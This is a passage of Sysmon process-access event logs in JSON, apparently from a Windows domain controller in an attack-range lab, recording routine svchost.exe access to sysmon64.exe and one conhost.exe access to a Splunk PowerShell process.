C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010760E0D00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 